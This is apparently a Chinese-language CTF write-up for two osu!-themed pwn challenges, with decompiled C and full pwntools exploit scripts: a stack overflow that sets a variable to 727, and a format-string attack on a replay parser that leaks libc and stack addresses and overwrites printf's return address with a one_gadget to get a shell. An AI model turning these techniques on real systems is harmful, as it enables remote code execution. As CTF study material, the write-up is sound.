pwn

betterthanu

fgets那存在一个溢出,覆盖 v6为727,v5的值小于v6就好了

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[16]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+10h] [rbp-10h]
  unsigned int v6; // [rsp+1Ch] [rbp-4h]

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  printf("How much pp did you get? ");
  fgets(s, 100, stdin);
  v6 = atoi(s);
  v5 = v6 + 1;
  puts("Any last words?");
  fgets(s, 100, stdin);
  if ( v5 < v6 )
  {
    puts("What??? how did you beat me??");
    puts("Hmm... I'll consider giving you the flag");
    if ( v6 == 727 )
    {
      printf("Wait, you got %d pp?\n", 727LL);
      printf("You can't possibly be an NPC! Here, have the flag: ");
      flag_file = fopen("flag.txt", "r");
      fgets(flag, 100, flag_file);
      puts(flag);
    }
    else
    {
      puts("Just kidding!");
    }
  }
  else
  {
    printf("Ha! I got %d\n", v5);
    puts("Maybe you'll beat me next time");
  }
  return 0;
}

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "chal.osugaming.lol"
PORT = 7279

elf = context.binary = ELF('./challenge')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


payload = b"a" * (0x10) +p64(0) + p32(0) + p32(0x2D7)

sla("How much pp did you get? ","11")
# g(p)
sla("Any last words?",payload)

p.interactive()

miss-analyzer

题目实现了一个 osr parser,https://osu.ppy.sh/wiki/en/Client/File_formats/osr_%28file_format%29,只解析到miss次数那

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v3; // rbx
  char v5; // [rsp+15h] [rbp-14Bh]
  __int16 v6; // [rsp+16h] [rbp-14Ah]
  char *lineptr; // [rsp+18h] [rbp-148h] BYREF
  size_t n; // [rsp+20h] [rbp-140h] BYREF
  void *ptr; // [rsp+28h] [rbp-138h] BYREF
  __int64 v10; // [rsp+30h] [rbp-130h] BYREF
  void *v11; // [rsp+38h] [rbp-128h] BYREF
  char format[264]; // [rsp+40h] [rbp-120h] BYREF
  unsigned __int64 v13; // [rsp+148h] [rbp-18h]

  v13 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  while ( 1 )
  {
    puts("Submit replay as hex (use xxd -p -c0 replay.osr | ./analyzer):");
    lineptr = 0LL;
    n = 0LL;
    if ( getline(&lineptr, &n, stdin) <= 0 )
      break;
    v3 = lineptr;
    v3[strcspn(lineptr, "\n")] = 0;
    if ( !*lineptr )
      break;
    v10 = hexs2bin(lineptr, &ptr);
    v11 = ptr;
    if ( !v10 )
    {
      puts("Error: failed to decode hex");
      return 1;
    }
    puts("\n=~= miss-analyzer =~=");
    v5 = read_byte(&v11, &v10);
    if ( v5 )
    {
      switch ( v5 )
      {
        case 1:
          puts("Mode: osu!taiko");
          break;
        case 2:
          puts("Mode: osu!catch");
          break;
        case 3:
          puts("Mode: osu!mania");
          break;
      }
    }
    else
    {
      puts("Mode: osu!");
    }
    consume_bytes(&v11, &v10, 4LL);
    read_string(&v11, &v10, format, 255LL);
    printf("Hash: %s\n", format);
    read_string(&v11, &v10, format, 255LL);
    printf("Player name: ");
    printf(format);
    putchar(10);
    read_string(&v11, &v10, format, 255LL);
    consume_bytes(&v11, &v10, 10LL);
    v6 = read_short(&v11, &v10);
    printf("Miss count: %d\n", (unsigned int)v6);
    if ( v6 )
      puts("Yep, looks like you missed.");
    else
      puts("You didn't miss!");
    puts("=~=~=~=~=~=~=~=~=~=~=\n");
    free(lineptr);
    free(ptr);
  }
  return 0;
}

漏洞出现在对playername的解析,存在一个格式化字符串的漏洞,需要根据wiki 中 osr文件结构的描述,构造一个合适的osr file,然后打格式化字符串,不合法的file会直接exit()

read_string(&v11, &v10, format, 255LL);
printf("Player name: ");
printf(format);

具体的利用思路是 第一次格式化字符串leak栈上libc相关的地址 还有栈地址,算出printf的返回地址,然后第二次call printf的时候把printf的返回地址改成one gadget

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "chal.osugaming.lol"
PORT = 7273

elf = context.binary = ELF('./analyzer')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])



def byte2hex(byte):
    if isinstance(byte, bytes) and len(byte) == 1:
        high = (byte[0] >> 4) & 0xf
        low = byte[0] & 0xf
        return f"{high:01x}{low:01x}"

def bytes2hex(byte_data):
    if isinstance(byte_data, bytes):
        return ''.join(f"{b:02x}" for b in byte_data)


p = connect()


# string ULEB128
# 分为三个部分,每个部分一个字节
# 0x0b string len, string ....

# osr file struct
# 1byte game mode 
# 4byte version of the game

# string(0x0b + len(1byte) + 32bytes) osu! beatmap MD5 hash
# string (0x0b + len(1byte) + player name) about player name
# string(0x0b + len(1byte)) osu! replay MD5 hash (includes certain properties of the replay)


# game mode && game version 5bytes
payload = b'\x00\xBE\xB3\x34\x01'

# osu! beatmap MD5 hash 1 + 1 + 32 = 34 bytes
payload += b''.join([
    b'\x0B\x20\x37\x39\x37\x39\x39\x30\x34\x65\x62\x34\x35\x39\x66\x30',
    b'\x31\x66\x31\x66\x32\x39\x31\x30\x38\x62\x62\x32\x62\x37\x66\x64',
    b'\x32\x65'])


# string (0x0b + len(1byte) + player name) about player name
# payload += b'\x0B\x04\x6E\x79\x64\x6e'

format_string = b"%p-%pA" + b"%p-" * 3 + b'BBB%p'
payload += b'\x0B\x14' + format_string

# hash2 replay MD5 hash
payload += b''.join([
    b'\x0B\x20\x37\x39\x37\x39\x39\x30\x34\x65\x62\x34\x35\x39\x66\x30',
    b'\x31\x66\x31\x66\x32\x39\x31\x30\x38\x62\x62\x32\x62\x37\x66\x64',
    b'\x32\x65'])
# consume_bytes(&input_data_hex2bin_ptr, &size, 10);

# all short(2 bytes)
# Number of 300s 
# Number of 100s in standard, 150s in Taiko, 100s in CTB, 100s in mania
# Number of 50s in standard, small fruit in CTB, 50s in mania
# Number of Gekis in standard, Max 300s in mania
# Number of Katus in standard, 200s in mania
payload += b'\x42' * 10

# Number of misses short
payload += b'\x00' * 2 # 好耶 0 miss

# print(len(payload))


payload = bytes2hex(payload)
# g(p)
sla("./analyzer):",payload)

ru("A")
libc_base = int(r(14),16) - (0x7f5e10b14887 - 0x7f5e10a00000)
ru("BBB")
return_addr = int(r(14),16) - (0x7ffeb990b0e8 - 0x7ffeb990ae68) # sub_function return_addr()
success(f"libc_base ->{hex(libc_base)}")
success(f"return_addr ->{hex(return_addr)}")



ret = 0x000000000040101a # ret
rdi = libc_base + 0x000000000002a3e5 #c pop rdi; ret
binsh = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.sym['system']



payload = b'\x00\xBE\xB3\x34\x01'
payload += b''.join([
    b'\x0B\x20\x37\x39\x37\x39\x39\x30\x34\x65\x62\x34\x35\x39\x66\x30',
    b'\x31\x66\x31\x66\x32\x39\x31\x30\x38\x62\x62\x32\x62\x37\x66\x64',
    b'\x32\x65'])


# pwndbg> fmtarg 0x7ffe22573f60
# The index of format argument : 15 ("\%14$p")
# pwndbg> 

# 0xebc85 execve("/bin/sh", r10, rdx)
# constraints:
#   address rbp-0x78 is writable
#   [r10] == NULL || r10 == NULL
#   [rdx] == NULL || rdx == NULL

ogg = libc_base + 0xebc85
format_string = fmtstr_payload(14,{return_addr:ogg},write_size='short')
print(len(format_string))

payload += b'\x0B\x40' + format_string
payload += b''.join([
    b'\x0B\x20\x37\x39\x37\x39\x39\x30\x34\x65\x62\x34\x35\x39\x66\x30',
    b'\x31\x66\x31\x66\x32\x39\x31\x30\x38\x62\x62\x32\x62\x37\x66\x64',
    b'\x32\x65'])
payload += b'\x42' * 10
payload += b'\x00' * 2

payload = bytes2hex(payload)
sla("./analyzer):",payload)


p.interactive()

唉,咱好菜,不会pyjail 不会v8

⬆︎TOP